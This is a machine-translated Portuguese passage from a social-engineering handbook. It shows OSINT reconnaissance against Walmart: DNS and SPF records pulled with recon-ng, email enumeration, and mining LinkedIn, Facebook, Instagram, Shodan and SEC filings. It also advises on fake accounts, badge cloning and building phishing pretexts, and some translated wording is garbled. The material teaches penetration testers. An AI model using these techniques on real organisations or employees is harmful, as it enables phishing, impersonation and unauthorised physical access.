[recon-ng][book][mx_spf_ip] > conjunto de opções FONTE walmart.com


FONTE => walmart.com
[recon-ng][livro][mx_spf_ip] > executar
[*] Recuperando registros MX para walmart.com.
[*] 1[host] mxb-000c7201.gslb.pphosted.com (<em branco>)
[*] [host] mxa-000c7201.gslb.pphosted.com (<em branco>)
[*] Recuperando registros SPF para walmart.com.
[*] Registro TXT: "dtOeNuIs42WbSVe3Zf2qizxLw9LSQpFd6bWqCr166oTRIuJ9yKS+etPsGGNOvaiasQk2C6GV0/5Pj
T9CI2nNAg=="
[*] Registro TXT: "google-site-verification=ZZYRwyiI6QKg0jVwmdIha68vuiZlNtfAJ90msPo1i7E"
[*] Registro TXT: "adobe-idp-site-verification=7f3fb527466337ac0ac0752c569ca2ac48926dc6c6dad3636d
581aa131a1cf3e"
[*] Registro TXT: "v=spf1 ip4:161.170.248.0/24 ip4:161.170.244.0/24 ip4:161.170.236.31 ip4:161.170.238.31
ip4:161.170.241.16/30 ip4:161.170.245.0/ 24ip4: 161.170.249.0/24 inclui:Walmart.com inclui:_netblocks.walmart.com
inclui:_vspf1.walmart.com inclui:_vspf2.
walmart.co" "incluo:_vspf3.walmart.com ~all"
[*] 2[netblock] 161.170.248.0/24
[*] [bloqueio de rede] 161.170.244.0/24
[*] [host] <em branco> (161.170.236.31)
[*] [host] <em branco> (161.170.238.31)

Reunindo Negócios OSINT 47


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

[*] [bloqueio de rede] 161.170.241.16/30


[*] [bloqueio de rede] 161.170.245.0/24
[*] [bloqueio de rede] 161.170.249.0/24
[*] Registro 3TXT: "verificação de domínio do facebook=ximom3azpca8zph4n8lu200sos1nrk"
[*] Registro 4TXT: "adobe-idp-site-verification=5800a1970527e7cc2f5394a2bfe99bcda4e5938e132c0a19
139fda9bf6e30704"
[*] Registro 5TXT: "docusign=5bdc0eb1-5fb2-471c-99a0-d0d9cc5fdac8"
[*] Registro 6TXT: "MS=E4F53D5B1A485B7BA06E0D36A9D38654A16609F3"

O registro SPF lista verificações de domínio para Adobe, Facebook,


DocuSign, Microsoft e Google. O registro de texto (TXT) que começa com MS= indica que o
Walmart usa Microsoft Office 365 6. Ele também usa Adobe
-idp-site-verification para validar domínios para produtos Adobe Enterprise como Creative
Cloud 4. O registro TXT de verificação de domínio facebook restringe os domínios que editam a
página oficial do Facebook para o domínio 3. O registro TXT que começa com docusign=
indica que o site usa DocuSign para assinar documentos oficiais 5.

Observe pphosted.com 1 listado como host. Isso indica o uso do Proofpoint, uma
tecnologia anti-spoofing que adiciona uma mensagem personalizada, geralmente a string
[EXTERNAL], à linha de assunto dos e-mails recebidos, facilitando a detecção de phishing ou
tentativas de comprometimento de e-mail comercial.
Alguns intervalos de rede também estão listados 2. Estes são o IP público do alvo
endereços, e os dois hosts listados são os principais servidores de correio. Você pode confirmar
isso usando outras ferramentas.

Usando outras ferramentas: theHarvester e OSINT Framework

Assim como o Recon-ng, o theHarvester é uma ferramenta OSINT de linha de comando baseada em
Linux, disponível gratuitamente como parte do Kali e do Buscador. Você também pode encontrá-lo no GitHub.
Escrito por Christian Martorella, theHarvester requer chaves de API para Shodan e Google Custom
Search Engine (CSE). Você pode inserir essas chaves nos seguintes arquivos:

caminho do Harvester/discovery/googleCSE.py

caminho do Harvester/discovery/shodansearch.py

No Harvester, você pode usar interruptores para direcionar a ferramenta para executar
tarefas. A decisão de usar o Harvester em vez do Recon-ng é uma questão de preferência.
Mesmo se você usar o Recon-ng como sua ferramenta principal, você pode querer obter uma
segunda opinião usando o Harvester para ver se o Recon-ng perdeu alguma informação adicional.

OSINT Framework (https://osintframework.com) é uma coleção de ferramentas baseada


em GUI. Com curadoria de Justin Nordine, o OSINT Framework agrupa recursos com base no
que você está procurando (Figura 4-8).

48 Capítulo 4
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Figura 4-8: Estrutura OSINT

Encontrando endereços de e-mail com Hunter

Freqüentemente, você precisará encontrar endereços de e-mail e a taxa de sincronização do endereço de e-


mail de uma empresa (o formato que a empresa usa para os endereços de e-mail de seus funcionários). Caçador
é uma excelente ferramenta para ajudar a enumerá-los. Sem fazer login, você pode obter a sintaxe básica
do endereço de e-mail usada na empresa. Depois de criar uma conta e fazer login, você poderá obter as
sintaxes de endereços de e-mail mais comuns, endereços de e-mail completos da empresa e, ocasionalmente,
o cargo de uma pessoa.
A Figura 4-9 mostra o resultado de uma pesquisa não autenticada.

Figura 4-9: Resultados da pesquisa do Hunter para um usuário não autenticado (Observação: o Hunter censurou esses resultados).

Reunindo Negócios OSINT 49


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

A Figura 4-10 mostra uma pesquisa autenticada que retorna emails válidos
endereços para nosso domínio de destino, bem como onde eles foram encontrados.

Figura 4-10: Resultados do Hunter para um usuário autenticado. (Nota: o autor censurou esses resultados.)

Observando esses resultados, você pode deduzir a sintaxe dos endereços de e-mail da
empresa. Você pode então acessar o LinkedIn e o site corporativo para obter mais nomes e,
em seguida, reunir mais endereços de e-mail, caso queira fazer phishing nessas pessoas.

A Hunter oferece diversos níveis de serviço; no momento da redação deste artigo,


eles variam de gratuitos (100 solicitações por mês e sem exportação de CSV) até US$ 399 por
mês, o que inclui 50.000 solicitações e permite exportações de CSV.

Explorando ferramentas de mapeamento e geolocalização

Você provavelmente já usou o Google Maps ou o Bing Maps para se orientar usando
visualizações de mapas, visualizações de satélite e visualizações tiradas da rua. Quando se
trata de coletar OSINT, os modos de visualização de satélite e de rua são geralmente os mais
valiosos.
A visualização de satélite pode mostrar portões, lixeiras, antenas parabólicas, entradas e
saídas, esquemas de estacionamento e instalações adjacentes. Você pode ampliar bastante
perto de alguns locais para ajudá-lo a determinar esconderijos, entradas e áreas para
fumantes.
A vista da rua permite que você veja o edifício e as instalações como faria
se você caminhou ou dirigiu. A partir dessa visão, você pode identificar o seguinte:

•Vendedor de lixeiras (informações úteis para pretextos no local que podem ajudá-lo a obter
acesso ao prédio ou à lixeira)

50 Capítulo 4
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

•Portões, portas e cercas, e se eles são deixados abertos rotineiramente (e, às vezes, a presença
de guardas de segurança)

•Empresas de entrega cujos caminhões estão estacionados do lado de fora

•Os nomes específicos dos edifícios, como Walmart Innovation


Center, Walmart People Center ou Walmart Home Office, que podem ajudá-lo a se integrar
melhor à organização (uma maneira rápida de ser divulgado é ligar para funcionários da
Disney ou do Walmart em vez de membros do elenco ou associados, respectivamente);
•Outros inquilinos

Durante a DerbyCon SECTF que mencionei no início deste capítulo, usei o Google Maps
para determinar os fornecedores de remessa da minha empresa-alvo, verificando quais
caminhões estavam dentro dos limites dos portões. Eu poderia ter usado essas informações para
obter acesso físico, talvez encontrando um uniforme em um brechó, ou como pretexto para
ligar sobre uma remessa.

Usar o Google Maps e o Bing Maps pode fornecer informações melhores, pois a fonte dos
dados dos aplicativos é diferente. Além disso, as imagens são coletadas em dias diferentes, então
você pode, por exemplo, encontrar um caminhão de entrega em um aplicativo, mas não em outro,
uma nova lixeira em uma foto mais recente ou nomes de fornecedores mal censurados.

Conclusão
Você pode seguir vários caminhos para coletar OSINT. Este capítulo apenas arranha a superfície
dos recursos dessas ferramentas e pretende ser um ponto de partida que o ajudará a aplicar
técnicas OSINT à engenharia social, testes de penetração ou qualquer outra aplicação ética. Através
dos exercícios deste capítulo, você coletou domínios, endereços IP, endereços de e-mail, nomes
e tecnologias associadas a empresas que usam ferramentas de código aberto.

O próximo capítulo aborda estratégias para coletar OSINT sem ferramentas sofisticadas. O
Capítulo 6 cobre as operações OSINT contra pessoas.

Reunindo Negócios OSINT 51


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

5
MÍDIA SOCIAL E
DOCUMENTOS PÚBLICOS

No capítulo anterior, discutimos o uso de ferramentas sofisticadas


para coleta OSINT.
No entanto, nem sempre você precisa de ferramentas
sofisticadas para obter as informações necessárias. Muitas vezes,
basta olhar para as plataformas de mídia social. Neste capítulo, discutiremos
como algumas das postagens mais inocentes da Internet podem ser
transformadas em armas. Você aprenderá como coletar OSINT dessas
plataformas, bem como de algumas plataformas que não são mídias sociais,
mas que são igualmente impactantes. Você lerá os documentos públicos de
uma empresa e aprenderá a fazer capturas de tela automáticas para documentar suas descob

Analisando mídias sociais para OSINT


As plataformas de mídia social nos dão uma visão sobre a vida das pessoas e
empresas que visamos. Embora algumas organizações tenham políticas de mesa
limpa que exigem que os funcionários removam informações confidenciais de suas
mesas durante o intervalo, no almoço ou fora do escritório, muitas dessas políticas não
incluem fotos tiradas em dispositivos pessoais. Como resultado, as pessoas postam publicamente
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

sobre tudo o que os preocupa ou entusiasma, seja em casa ou no trabalho.


Isso proporciona aos investigadores da OSINT um tour com acesso total às instalações de uma
organização e muitas vezes nos permite ver mais do que veríamos em um tour presencial.
No Capítulo 6, revisitaremos os sites de mídia social como meio de aprender
sobre a pessoa que fez a postagem.

LinkedIn

O LinkedIn é uma excelente rede social profissional. Muitos de seus usuários são um pouco
abertos sobre sua experiência, revelando todas as tecnologias e processos utilizados internamente.
Ao pesquisar os funcionários da empresa no site, podemos preencher uma lista de alvos de
phishing, encontrar as tecnologias usadas na empresa e enumerar as funções que poderíamos
desempenhar em ataques de vishing.
O LinkedIn é uma mina de ouro da OSINT, especialmente para empresas menores com menor
presença online.

NOTA: Alguns dos recursos de análise discutidos aqui estão disponíveis apenas para usuários do LinkedIn
Premium, que no momento da redação deste artigo custava US$ 29 por mês. Tenha em mente
que os recursos (de qualquer produto ou serviço) mudarão para melhor e para pior. Meu foco
nestas seções é menos nas ferramentas e recursos e mais nas técnicas.

Informações Gerais da Empresa

Vamos dar uma olhada na página comercial do Walmart no LinkedIn (Figura 5-1). No topo da
página, podemos ver quantos seguidores o Walmart tem, quantas conexões dessa conta funcionam
no Walmart, um ticker da bolsa e uma visão geral da empresa. A seção Sobre nós também fornece
informações gerais sobre o Walmart.

Figura 5-1: Detalhes da empresa Walmart no LinkedIn

54 Capítulo 5
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Mais abaixo, a página lista o site e os endereços de todos os principais sites do


Walmart, informações sobre quando e onde a empresa foi fundada, a localização da sede, o
porte da empresa e suas especialidades.

Informação de trabalho

Como as pessoas costumam usar o LinkedIn como quadro de empregos, as páginas da


empresa listam informações pertinentes aos candidatos a emprego, como o número
conhecido de funcionários e se está aumentando ou diminuindo (Figura 5-2).

Figura 5-2: Detalhes dos funcionários do Walmart no LinkedIn

O tempo médio de permanência de um funcionário pode nos ajudar a interagir


com alcatrões durante phishing e vishing. Podemos estimar a probabilidade de um
funcionário conhecer outro funcionário de outro local, especialmente em grandes empresas
com mais de 300 mil funcionários, como o Walmart. Da mesma forma, os dados do LinkedIn
sobre a distribuição de funcionários, crescimento e novas contratações podem nos dar uma
ideia sobre a probabilidade de encontrarmos uma nova contratação se, digamos,
telefonarmos para os escritórios.

Funcionários da Empresa

Uma página separada lista os usuários do LinkedIn que são funcionários da empresa. Use isso
para ver o papel que cada pessoa desempenha. Por exemplo, a Figura 5-3 mostra alguém
com o cargo de analista de intrusão, uma função de segurança cibernética que sugere que a
empresa monitore ativamente seus sites e redes em busca de comportamento malicioso.
Podemos avaliar a segurança da empresa através do número de funcionários de
segurança da informação. Uma maneira fácil de fazer isso é procurar nos perfis dos funcionários
siglas de certificação. A verificação de CISSP, GPEN, OSCP, CEH e Security+ são bons
pontos de partida. Bons cargos para pesquisar incluem os termos segurança da informação,
segurança cibernética, intrusão e CISO.

Mídias Sociais e Documentos Públicos 55


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Figura 5-3: Funcionários do Walmart no LinkedIn

Esses perfis de funcionários também nos falam sobre as tecnologias que a empresa
utiliza. Ao pesquisá-los, podemos detectar a presença de soluções de gerenciamento de eventos
e incidentes de segurança (SEIM), proteções contra malware, filtragem de e-mail ou VPNs.
Além disso, eles nos ajudam a criar uma lista de e-mail para criação de perfis e phishing
adicionais.

Quadros de empregos e sites de carreira

Funcionários, recrutadores e fornecedores de recrutamento terceirizados podem criar links


para páginas de carreiras ou quadros de empregos em suas redes sociais. Como subproduto,
engenheiros sociais inteligentes, equipes vermelhas e investigadores OSINT podem extrair
essas informações e transformá-las em armas.
Dependendo de como o anúncio de emprego está escrito, você poderá encontrar as chaves
do reino em uma única frase. Na Figura 5-4, você pode ver que o candidato deve ter experiência
com o Oracle E-Business Suite (EBS) versão 12.2.7.
Isso diz a um possível invasor para procurar aquela versão de software específica. A forma como
esta postagem de carreira foi escrita pode levar um invasor a acreditar que também continua usando
a versão 11.5.10.2, que possui vulnerabilidades que datam de 2006.

Isso pode acontecer de várias maneiras. Primeiro, podemos pesquisar


entradas de Vulnerabilidades e Exposições Comuns (CVEs) pertencentes a este software
específico e, em seguida, verificar sites como https:// www.exploit-db.com para código de
exploração conhecido. Alternativamente, poderíamos usar essas informações em nossos
pretextos de phishing ou vishing. Por fim, poderíamos apenas tentar aplicar força bruta em
qualquer instância pública do software em questão, que seria a mais barulhenta e fora do
escopo da engenharia social ou OSINT.

56 Capítulo 5
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Figura 5-4: Um anúncio de emprego muito detalhado

Outras coisas notáveis a serem procuradas em anúncios de emprego são menções de quais
gerente ao qual a função se reporta. Conhecer o organograma e quem ocupa cada função
pode ser útil na construção de pretextos em situações em que a divulgação de nomes ajudaria na
sua credibilidade. Também não limite isso às postagens atuais. Veja as postagens mais
antigas em sites como Even, Ladders e LinkedIn. Você também pode verificar https:// archive.org
para páginas mais antigas. Ao revisar postagens mais antigas, você pode ter uma ideia da
frequência com que a organização corrige ou atualiza seu software, bem como a cultura de
RH e Segurança.

Facebook
O Facebook pode ser uma mina de ouro ou uma fossa, dependendo de para quem você pergunta
e do que procura. Isso ocorre porque os dados são abundantes, mas minimamente
examinados, embora às vezes verificados. Muitas pessoas tendem a compartilhar demais
neste site (comportamento que exploraremos mais detalhadamente no Capítulo 6). Nesta
seção, nos limitaremos às informações relacionadas aos negócios sobre uma empresa e
seus clientes.
Para começar a analisar no Facebook, crie uma conta que você não usa por motivos
pessoais. Mesmo que a criação de uma conta falsa viole os Termos de Serviço do site, isso
impedirá que você apareça na guia Pessoas que você talvez conheça em seu perfil real. Você
também poderá postar publicamente em sua página sem confundir seus amigos legítimos e
correr o risco de expulsá-los de você. Tenha em mente que, na sequência das controvérsias
em torno do envolvimento da Rússia nas eleições presidenciais dos EUA em 2016 e

Mídias Sociais e Documentos Públicos 57


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Em outros casos que envolvem práticas de dados e desinformação, o Facebook está


reprimindo contas falsas e aquelas que usam imagens geradas por inteligência artificial.

Como outra camada de segurança, evite usar os aplicativos móveis do site, porque eles
normalmente têm acesso a todos os aplicativos do seu dispositivo móvel e podem identificar
uma conta como pertencente a você sem qualquer outra entrada. Você também poderá receber
anúncios cada vez mais pessoais, o que pessoalmente considero alarmante.

Agora, o que podemos encontrar no Facebook? Concorrentes, clientes, promoções,


comunicados de imprensa, notícias e sentimento do público em geral.

Informações da

empresa Na página de uma organização no Facebook (veja a Figura 5-5 para o Walmart),
procure informações de contato, quaisquer cronogramas relevantes ou comunicados à
imprensa. Para empresas menores, é comum encontrar notícias sobre prêmios
conquistados ou listas às quais foram adicionados. Você também pode ver postagens
sobre as atividades e realizações dos funcionários, especialmente se estiver almejando uma consultoria.

Figura 5-5: Página inicial do Walmart no Facebook

Veja a seção Sobre da página (Figura 5-6). É aqui que podemos encontrar números de
telefone, mesmo que sejam de suporte técnico, suporte ao cliente ou linha direta da
empresa. Podemos encontrar endereços de e-mail e quase certamente veremos seus sites.

As empresas também podem partilhar uma cronologia de eventos – tais como


datas de fundação, deslocalizações, fusões e aquisições e reformas de funcionários-
chave – que podem fornecer-nos informações para utilizar nos nossos pretextos ou
compromissos.

58 Capítulo 5
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Figura 5-6: Página Sobre nós do Walmart no Facebook

Clientes e sentimento público

Ao visitar uma empresa, uma das maneiras mais astutas de fazer um funcionário
realmente falar com você é se passar por cliente. Você pode encontrar uma infinidade
de clientes reais olhando a guia Comunidade do Facebook e lendo comentários. Na
Figura 5.7, a aba Comunidade do Walmart mostra diversas publicações na página
feitas pelo público em geral. Isso deve ser considerado um grão de sal e contextualizado.
Algumas dessas postagens são preocupações legítimas, mas outras são teorias de
conspiração, alegações infundadas, tentativas de viralização e relatos de páginas falsas ou falsas.

Figura 5-7: Página da comunidade do Walmart no Facebook

Mídias Sociais e Documentos Públicos 59


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

A aba Comunidade nos mostra a contagem de seguidores da empresa. Esta


métrica indica a força da marca e o quão fortemente a empresa se envolve na interação
e aquisição do cliente.
Dê uma olhada nos tipos de postagens que os clientes compartilham no mural da
empresa e com que frequência as pessoas postam. A empresa responde a essas
postagens? A empresa demonstra empatia ou é fria? Isto pode ajudar-nos a desenvolver
o nosso dossiê da empresa, bem como o dossiê que utilizamos como pretexto.
Às vezes, as pessoas compartilham postagens aleatórias no mural da empresa
na tentativa de se tornarem virais. Leve isso em consideração e ajuste-o ao analisar.

Instagram
O Instagram é um tesouro da OSINT. Em uma competição Capture the Flag de Engenharia
Social (SECTF) da qual participei uma vez, encontrei mais de 90% das informações
contra minha empresa-alvo usando o Instagram.

Seguidores e hashtags
Mais interessante do que quem segue a conta empresarial é quem a conta
empresarial segue. As contas corporativas normalmente seguem executivos e
influenciadores relevantes, bem como equipes de marketing e relações públicas.
Por exemplo, observe quem o Walmart segue (Figura 5-8). A lista inclui as marcas
que vendem e LeBron James.

Figura 5-8: Lista de contas que a página do Instagram do Walmart segue

Pesquise também as hashtags que o alvo segue. Isto nos diz sobre
o que o alvo considera importante. As hashtags podem ser relevantes para uma
promoção que a empresa está realizando, por exemplo, ou indicar se sua equipe
de mídia social é desleixada. Hashtags também podem ser sobre o

60 Capítulo 5
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

concorrentes da empresa. A partir das hashtags que o Walmart escolhe seguir (Figura 5-9),
aprendemos sobre iniciativas internas, incentivos ao cliente e linguagem potencialmente
usada internamente.

Figura 5-9: Hashtags que o Walmart segue no Instagram

Encontrando postagens com geotags

Em seguida, saia da página do Instagram da empresa e pesquise no Instagram o endereço


do escritório da empresa. Isso nos leva a todas as postagens georreferenciadas neste endereço.
A marcação geográfica ocorre automaticamente quando os serviços de localização de um
dispositivo e de um aplicativo estão ativados. A localização será incorporada à postagem e se
tornará um campo pesquisável. Nas fotos devolvidas, você provavelmente encontrará duas
informações muito úteis: crachás da empresa e fotos das mesas dos funcionários.

As fotos dos crachás podem nos ajudar a identificar o fabricante e o design do crachá.
Em alguns casos, você poderá clonar crachás de cartão-chave para obter acesso às
instalações. Brent White e Tim Roberts fornecem uma boa folha de dicas para usar o clonador
de crachás Proxmark (e muito mais) em https://
wehackpeople.wordpress.com/ 2018/07/16/ proxmark-3-cheat-sheet-and-rfid-thief
instruções/ . Em outros casos, você poderá replicar o design do emblema. Por
exemplo, o crachá de fornecedor do Walmart na Figura 5.10 nos mostra a aparência dos
crachás de fornecedor, incluindo as fontes que eles usam e que possuem código de barras
e data de validade.
Talvez possamos recriar o código de barras do crachá. Embora o crachá não contenha
números úteis para identificação, ele inclui uma data – potencialmente útil em um estratagema
inteligente para obter acesso.

Mídias Sociais e Documentos Públicos 61


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Figura 5-10: Um crachá de fornecedor do Walmart encontrado no Instagram

Alternativamente, você pode criar crachás falsos não funcionais. Você também
pode aprender como as pessoas se vestem no local, permitindo que você se misture. Por
exemplo, nas lojas do Walmart, os associados geralmente usam calças cáqui e uma
camisa azul escura com um avental e um distintivo. A Figura 5.11 mostra uma série
de imagens de crachás do Walmart, todas aparentemente inocentes até que um
engenheiro social ou ator malicioso as utilize para obter acesso não autorizado às instalações.

Figura 5-11: Vários crachás de funcionários do Walmart encontrados no Instagram

62 Capítulo 5
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Fotos de mesas podem nos dizer mais sobre as tecnologias que uma empresa utiliza.
A Figura 5-12 mostra a imagem de um cubículo de funcionário. O funcionário (associado)
estava se gabando de um cartão que recebeu, mas a foto também mostra que eles estão
usando um MacBook com Photoshop, Microsoft Office 2016 e Cisco WebEx abertos no dock do
macOS.

Figura 5-12: Cubículo de um funcionário do Walmart encontrado no Instagram

Aproveitando Shodan para OSINT

John Matherly desenvolveu o Shodan (https:// www.shodan.io) em 2009 como um mecanismo de


busca para indexar dispositivos conectados à Internet. Na prática, isso significa que o Shodan
verifica ativamente a Internet em busca de dispositivos inseguros e abertos e, em seguida,
insere esses dispositivos em seu banco de dados pesquisável e indexado para consumo do usuário.
Vejamos os principais métodos de análise usando Shodan.
O preço da assinatura do Shodan varia de acordo com o nível de acesso, de gratuito a
US$ 899 por mês. Os níveis são definidos pelo número de ativos que você deseja monitorar
continuamente, pelo número de pesquisas que deseja fazer e se deseja procurar vulnerabilidades
explícitas. Shodan costuma oferecer promoções especiais da Black Friday, garantindo
acesso vitalício barato.

Usando parâmetros de pesquisa Shodan

Pesquise Shodan usando um dos seguintes parâmetros de pesquisa:

cidade Para definir a cidade a ser pesquisada no


país Para definir o país a ser pesquisado
geo Para pesquisar dentro de uma determinada latitude e longitude

Mídias Sociais e Documentos Públicos 63


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

hostname Para encontrar um nome de host específico


net Para pesquisar um endereço IP, intervalo ou CIDR definido
os Para encontrar um sistema operacional específico
port Para encontrar portas abertas específicas
antes/depois Para definir um período de tempo para pesquisa. Como as organizações
mudam sua arquitetura de hardware e software, e o Shodan está sempre escaneando,
as entradas mudarão. Definir um período de tempo pode ajudá-lo a encontrar
padrões de atualizações, bem como tecnologias relevantes e atualmente
implementadas. Por exemplo, se você sabe que uma organização usa Cisco ASA, você
pode observar as datas de lançamento do software e compará-las com o momento
em que a mudança de versão aparece no Shodan para ter uma ideia do ritmo de
atualização.

Pesquisando endereços IP
Se você conhece um endereço IP ou intervalo, você pode consultá-lo no Shodan para
resolver o host, os serviços e os banners de serviço (Figura 5-13). Isso ajudará se você
estiver conduzindo este OSINT para se preparar para um teste de penetração.

Figura 5-13: Enumeração Shodan de endereço IP e portas e serviços em execução com banners

Shodan também nos fala sobre o certificado TLS/SSL usado para criptografar o tráfego
da web de e para o site. Se o certificado empregar cifras fracas, você poderá considerar
isso como um vetor de ataque para exploração técnica.

64 Capítulo 5
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Pesquisando Nomes de
Domínio Se você inserir o nome de domínio da sua organização alvo no Shodan,
o sistema responderá com todos os hosts conhecidos. Isso o ajudará a obter
informações sobre portas e protocolos em uso, bem como banners e versões de serviços.
Esse método também nos ajuda a identificar os tipos de sistemas conectados à
Internet que eles usam (como NGINX, Apache e IIS), além de nomes de host e
endereços IP.
A Figura 5-14 mostra o resultado de uma pesquisa pelo domínio walmart.com com
o qualificador de que os anfitriões devem pertencer às lojas Walmart. Isso evita a
obtenção de domínios irrelevantes que contenham a frase walmart.com ou sites com
links para walmart.com.

Figura 5-14: Domínio Shodan e enumeração de endereço IP filtrada pelas lojas Wal-Mart

Pesquisando nomes de host e


subdomínios Se soubermos um nome de host ou subdomínio específico,
podemos procurá-lo no Shodan, da mesma forma que pesquisamos domínios.
Shodan nos fornecerá informações mais específicas, como endereço IP, serviço
e portas abertas no host. As informações específicas retornadas variam de
acordo com o domínio e sua utilidade depende do que planejamos fazer com
as informações. Por exemplo, a Figura 5.15 mostra servidores web Microsoft
IIS que pertencem ao Walmart.

Mídias Sociais e Documentos Públicos 65


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Figura 5-15: Enumeração adicional de endereços IP Shodan

Vemos o conjunto de caracteres, o código HTTP e, se existir uma vulnerabilidade


conhecida, o número CVE, que pode nos guiar para a exploração técnica, se esse for o
fim do jogo.

Tirando capturas de tela automáticas com o Hunchly


Até agora neste capítulo, discutimos a mineração manual de páginas da Web em busca
de informações úteis. Mas quando você não está usando uma ferramenta OSINT
dedicada como o Recon-ng, nem sempre é fácil acompanhar todas as informações encontradas.
Hunchly (https:// www.hunch.ly) é uma extensão do Chrome (ou navegador Chromium
como o Brave) que fornece capturas de tela de tudo o que você procura. Criado por Justin
Seitz, o Hunchly custava US$ 129 por ano no momento em que este artigo foi escrito, mas
permite um teste gratuito de 30 dias. Se você realizar investigações OSINT frequentes, o
preço pago pela licença valerá a pena.
Para usar o Hunchly, baixe e instale o plug-in. No painel do Hunchly, você pode definir
uma investigação clicando no ícone + e selecionando Adicionar caso (Figura 5-16). Isso
classificará todas as capturas de tela tiradas durante a sessão e as categorizará para
o caso específico. Pense nisso como um banco de dados.

Depois de adicionar o caso, certifique-se de permitir que o Hunchly registre sua


atividade selecionando o ícone azul no canto superior direito e ativando a extensão. Além
disso, certifique-se de selecionar o caso apropriado para salvar os arquivos.

Depois de ativar o Hunchly, basta navegar pelo que você está investigando no
navegador Chrome. Quando terminar, desative a extensão Hunchly e clique no botão do
painel para ver o que você coletou (Figura 5-17).

66 Capítulo 5
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Figura 5-16: Criando um novo caso

Figura 5-17: O painel do Hunchly com artefatos

Se você selecionar um artefato específico, poderá visualizar a captura


de tela e qualquer informação sobre ele, como o que você pesquisou, o
caminho da URL correspondente à pesquisa, a data em que você a coletou,
a data em que o site foi atualizado e um hash da captura de tela. Essa informação

Mídias Sociais e Documentos Públicos 67


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

é vital se você estiver coletando OSINT por motivos legais e usar a captura de tela como
prova em tribunal.

Roubando Formulários SEC

As empresas de capital aberto nos Estados Unidos devem produzir e enviar uma variedade
de documentos e formulários para manter a conformidade. Esses documentos provam à SEC
que todas as informações divulgadas são verdadeiras e que a empresa não está infringindo
nenhuma lei. Como esses documentos estão disponíveis ao público, eles são uma
excelente fonte de OSINT.
Para encontrar os formulários SEC de uma empresa, navegue até o site SEC
EDGAR (https:// www.sec.gov/ edgar/ searchedgar/ companysearch.html). Você pode aprender
mais sobre os vários formulários da SEC na Investopedia, https:// www.investopedia.com/
artigos/ análise fundamental/ 08/ sec-forms.asp.
Um formulário particularmente útil de se observar é o Formulário SEC 10-K, que é o
relatório anual da empresa. Ele fornece uma visão geral de como está o desempenho
financeiro da empresa, da equipe executiva, do conselho de administração, dos problemas
que tiveram no ano passado e dos riscos que os preocupam. A SEC determina que as
empresas apresentem esses formulários no prazo de 90 dias após o final do ano fiscal,
portanto, as datas de publicação podem variar.
Usando o relatório anual e 10-K do Walmart de 2018, vamos examinar os pontos
de interesse para uma avaliação OSINT. Por exemplo, o relatório anual de 2018 do
Walmart diz o seguinte:

Estamos equipando e capacitando nossos associados para terem sucesso com


melhores informações, ferramentas e treinamento. Nas lojas, isso significa que
nossos funcionários passam mais tempo impulsionando as vendas e menos
tempo realizando tarefas repetitivas. Abrimos academias de formação para
desenvolver ainda mais as competências de retalho dos nossos associados e
implementámos novas tecnologias e aplicações para os ajudar a melhorar os
níveis de stock e a gerir melhor as alterações de preços.

Isso nos permite saber duas coisas: a empresa chama seus funcionários de associados
e abriu academias de treinamento, informações que podem ser usadas para construir
relacionamento. Ao escrever um e-mail para um ataque de phishing, você pode até citar
diretamente esse relatório (veja o Capítulo 7 para ver um exemplo dessa tática).
O formulário 10-K começa informando quando termina o ano fiscal, o que nos dá uma
ideia de quando será a maior urgência, em relação aos trimestres fiscais.
Um pouco mais abaixo no formulário, vemos onde a empresa está legalmente
constituída; o endereço do escritório residencial, CEP e número de telefone principal; e seu
número de identificação do empregador (EIN).
No formulário 10-K 2018 do Walmart, você pode encontrar o seguinte útil
Informação:

Uma declaração sobre a mudança do nome comercial de Walmart Stores, Inc. para
Walmart Inc.

Isso pode ser útil no envolvimento com funcionários e fornecedores.

68 Capítulo 5
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Uma seção chamada “Fatores de Risco e Incertezas que Afetam Nossa


Negócios"

Esta é uma excelente referência que ajudará um invasor a compreender o modelo de


negócios da empresa e como ela percebe as ameaças.

Uma lista de sites que o Walmart usa para realizar negócios na Internet

Aqui também vemos o que o Walmart considera ser seu concorrente. Na seção sobre
sua associação ao Sam's Club, por exemplo, ele menciona Costco.

Uma lista de pessoas-chave

Esta lista de funcionários de alto nível poderia ser usada em ataques de pesca e caça
às baleias. Também vemos as funções e idades dos funcionários, o que pode
ajudar a monitorar suas redes sociais.

Uma discussão sobre como o Walmart usa a tecnologia

Isto permite-nos ver como mitiga e percebe ameaças associadas à sua infra-estrutura
de tecnologia da informação.

Insight sobre a atividade jurídica do Walmart

Isso pode nos fornecer um contexto adicional sobre a forma como a empresa opera ou
nos ajudar a atingir alguém do departamento jurídico.

Informações sobre a empresa de auditoria que realizou uma auditoria


independente de terceiros

Isso nos dá mais contexto para o nosso pretexto.

Apresentações do conselho de administração e seus antecedentes

Isso nos fornece mais informações sobre como o Walmart faz negócios. Também nos
fornece informações que poderíamos usar para construir pretextos credíveis para
usar contra os seus associados.

Outros formulários que você deve procurar são o 8-K (mudança no status do
